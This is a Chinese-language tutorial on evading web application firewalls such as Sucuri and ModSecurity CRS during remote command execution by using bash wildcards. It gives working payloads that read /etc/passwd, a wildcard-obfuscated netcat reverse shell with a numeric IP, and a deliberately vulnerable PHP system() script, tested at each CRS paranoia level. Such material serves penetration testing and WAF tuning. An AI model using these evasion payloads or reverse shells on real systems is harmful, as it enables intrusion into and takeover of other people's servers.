如何绕过 Web 应用程序防火墙(WAF)?

2018-02-24 09:50:38来源:http://www.91ri.org/17594.html作者:安全攻防指南人点击

分享

当攻击者把作为命令或查询的不可信数据发送给解释器时,会产生注入漏洞,如 SQL,NoSQL,OS 和 LDAP 注入。攻击者的数据可能会诱使解释器执行意外的命令或在没有授权的情况下访问数据。


所有现代 Web 应用防火墙都能拦截 RCE 尝试,但是当它发生在 Linux 系统中时,我们已经有了方法来规避 WAF 规则集。


渗透测试中,很有用的字符是「通配符」。在开始做 WAPT 之前,我想告诉你一些你可能不知道的 bash 和通配符的用法。


特殊的通配符用法


Bash 标准通配符(也称为通配符模式)被各种命令行实用程序用于处理多个文件。并不是每个人都知道 bash 语法可以使用问号?、正斜杠/、数字和字母来执行系统命令。你甚至可以枚举文件并使用相同数量的字符获取其内容。举几个栗子:可以使用以下语法来取代 ls 命令:


/???/?s



用这种语法,你可以基本做到你想做的任何事情。假设存在漏洞的目标位于WAF的后面,并且此 WAF 有一条规则,该规则可阻止包含/etc/passwd或/bin/ls在 GET 参数的值内或 POST 正文中的所有请求。


如果你试图发出这样的请求,/?cmd=cat+/etc/passwd它将被目标 WAF 阻止,你的 IP 将被永久禁止,并被标记为yet another f***in’ redteamer。但你有通配符这个秘密武器。


如果目标 WAF 不阻止查询字符串里的?和/,你就可以很容易地让你的请求(url 编码)变成这样:/?cmd=%2f???%2f??t%20%2f???%2fp??s??



上图所示,有 3 个错误 :/bin/cat *: Is a directory。发生这种情况是因为/???/?t可以被全局进程解释成/bin/cat,也可以解释成/dev/net或/etc/apt 等。


问号通配符可以代表任何字符。因此,如果你知道一个文件名的一部分,那么你可以使用这个通配符。例如,ls *.???将列出当前目录中所有长度为 3 个字符的文件扩展名。因此,你将会看到具有诸如 .gif,.jpg,.txt 之类扩展名的文件。


使用这个通配符,你可以用netcat执行一个反弹 shell。假设你需要在端口 1337(通常nc -e /bin/bash 127.0.0.1 1337)执行一个 127.0.0.1 的反弹 shell,你可以用下面的语法来完成:


/???/n? -e /???/b??h 2130706433 1337


将 IP 地址127.0.0.1转换为长整数格式(2130706433),可以避免在 HTTP 请求中使用.字符。


在 kali 中,需要使用nc.traditional而不是nc,没有-e参数,以便/bin/bash连接后执行。有效载荷变成这样:


/???/?c.??????????? -e /???/b??h 2130706433 1337



使用通配符执行反弹 shell


在对我们刚才看到的两个命令进行总结:


标准:/bin/nc 127.0.0.1 1337
绕过:/???/n? 2130706433 1337
使用字符:/? n [0-9]
标准:/bin/cat /etc/passwd
绕过:/???/??t /???/??ss??
使用字符:/? t s

为什么使用?而不是*?由于*广泛用于评论语法,许多 WAF 为了避免 SQL 注入而过滤它,像UNION+SELECT+1,2,3/*


使用 echo 来枚举文件和目录。该 echo 命令可以使用通配符枚举文件系统上的文件和目录。例如echo /*/*ss*:


这命令可以在 RCE 漏洞中使用,以获取目标系统上的文件和目录,例如:


但为什么使用通配符(特别是问号)可以绕过 WAF?


Sucuri WAF绕过


测试 WAF 规则集的最佳方法是什么?创建一个有漏洞的 PHP 脚本,并尝试所有可能的技术。在上图的左上方的窗格中,是一个有漏洞的PHP脚本。


<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);


在左下方的窗格中,你可以看到对这个网站(test1.unicresit.it)进行远程命令执行测试。正如你所看到的,Sucuri WAF 以
An attempted RFI/LFI was detected and blocked

右窗格显示了同样的请求,但却使用?作为通配符,结果是 Sucuri WAF 没有阻止这个请求,应用程序执行了放入c参数的命令。现在就可以读取/etc/passwd文件,甚至更多。


我可以读取应用程序本身的 PHP 源代码,可以使用 netcat(/???/?c)执行反弹 shell,或者我可以执行 curl 或 wget 来获取网络服务器的真实 IP,使我能够通过直接连接目标来绕过 WAF。


ModSecurity OWASP CRS 3.0


以下文档很好地概述了每个级别在 REQUEST PROTOCOL ENFORCEMENT规则上的工作原理。 PL1允许的查询字符串包含 1-255 范围内的 ASCII 码,从PL1到PL4,允许的 ASCII 码越来越少。


# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

Paranoia Level 0(PL0)

PL0开启的防护规则较少,我们的代码能够正常执行。


SecAction "id:999,/
phase:1,/
nolog,/
pass,/
t:none,/
setvar:tx.paranoia_level=0"


Paranoia Level 1 and 2 (PL1,PL2)

PL1 和PL2 都会拦截原始的请求,但是如果使用 ? 作为通配符,该请求不会被WAF 拦截。


SecAction "id:999,/
phase:1,/
nolog,/
pass,/
t:none,/
setvar:tx.paranoia_level=1"


之所以发生这种情况,是因为?,/和空格在规则 920271 和 920272 的可接受字符范围内。此外,使用?能够避开系统文件过滤规则,拦截对操作系统常用命令和文件的访问。


Paranoia Level 3(PL3)

PL3可以阻止包含?等字符超过 n 次的请求。实际上,我的请求被拦截为: Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters 。


但是作为测试用的 Web 应用程序非常蹩脚,容易受到攻击,所以我可以使用较少的 ?,并使用以下语法读取 passwd 文件:c=/?in/cat+/et?/passw?



正如你所看到的,只用 3 个?,我就可以避开 PL3 级别的防护,读取目标系统中的 passwd 文件。

Paranoia Level 4(PL4)

PL4 级别的防护基本无法绕过,a-z A-Z 0–9 之外的字符都被屏蔽了。当你需要执行一个命令来读取文件时,有 90% 的概率需要一个空格字符或/。


使用一些不常用的bash命令的技巧,还是可以绕过WAF的防护的。


作者: 行长叠报


最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台